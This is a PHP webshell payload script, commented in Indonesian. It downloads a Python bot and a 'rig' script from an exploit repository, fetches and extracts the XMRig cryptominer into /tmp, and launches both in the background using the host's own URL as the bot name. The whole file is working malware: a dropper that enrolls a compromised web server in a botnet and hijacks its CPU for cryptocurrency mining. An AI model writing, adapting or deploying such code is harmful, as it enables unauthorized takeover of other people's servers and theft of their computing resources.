<?php
// URL untuk mengunduh payload bot, rig, dan xmrig
// For Webshell
$bot_payload_url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/payload/bot.py";
$rig_payload_url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig.sh";
$xmrig_url = "https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz";

// Lokasi file yang akan disimpan
$bot_target_file = "/tmp/bot.py";
$rig_target_file = "/tmp/rig.sh";
$xmrig_tar_file = "/tmp/xmrig.tar.gz";
$xmrig_extract_dir = "/tmp/xmrig";

// Nama bot sesuai dengan URL lengkap
$bot_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

// Fungsi untuk mengunduh file
function download_payload($url, $file_path) {
    $content = file_get_contents($url);
    if ($content === false) {
        die("Failed to download payload from $url\n");
    }
    file_put_contents($file_path, $content);
    echo "Payload downloaded to $file_path\n";
}

// Fungsi untuk mengekstrak file tar.gz
function extract_tar_gz($tar_file, $extract_to) {
    if (!file_exists($tar_file)) {
        die("File $tar_file does not exist for extraction.\n");
    }
    if (!is_dir($extract_to)) {
        mkdir($extract_to, 0755, true);
    }
    $command = "tar -xzf $tar_file -C $extract_to";
    shell_exec($command);
    echo "Extracted $tar_file to $extract_to\n";
}

// Fungsi untuk memberikan izin eksekusi
function make_executable($file_path) {
    chmod($file_path, 0755);
    echo "File $file_path made executable.\n";
}

// Periksa versi Python
function get_python_version() {
    $output = shell_exec("python3 --version 2>/dev/null");
    if ($output) {
        return "python3";
    }
    $output = shell_exec("python2 --version 2>/dev/null");
    if ($output) {
        return "python2";
    }
    die("No Python interpreter found on the target system.\n");
}

// Jalankan payload bot
function execute_bot_payload($python_path, $file_path, $bot_name) {
    $command = "$python_path $file_path \"$bot_name\" > /dev/null 2>&1 &";
    shell_exec($command);
    echo "Bot payload executed with bot name: $bot_name\n";
}

// Jalankan payload rig
function execute_rig_payload($file_path, $xmrig_dir) {
    $command = "nohup $file_path $xmrig_dir > /dev/null 2>&1 &";
    shell_exec($command);
    echo "Rig payload executed.\n";
}

try {
    // Unduh payload bot
    download_payload($bot_payload_url, $bot_target_file);

    // Unduh payload rig
    download_payload($rig_payload_url, $rig_target_file);

    // Unduh xmrig
    download_payload($xmrig_url, $xmrig_tar_file);

    // Ekstrak xmrig
    extract_tar_gz($xmrig_tar_file, $xmrig_extract_dir);

    // Berikan izin eksekusi untuk rig
    make_executable($rig_target_file);

    // Dapatkan interpreter Python
    $python_path = get_python_version();

    // Jalankan payload bot
    execute_bot_payload($python_path, $bot_target_file, $bot_name);

    // Jalankan payload rig dengan path xmrig
    execute_rig_payload($rig_target_file, $xmrig_extract_dir);
} catch (Exception $e) {
    echo "Error: " . $e->getMessage() . "\n";
}
?>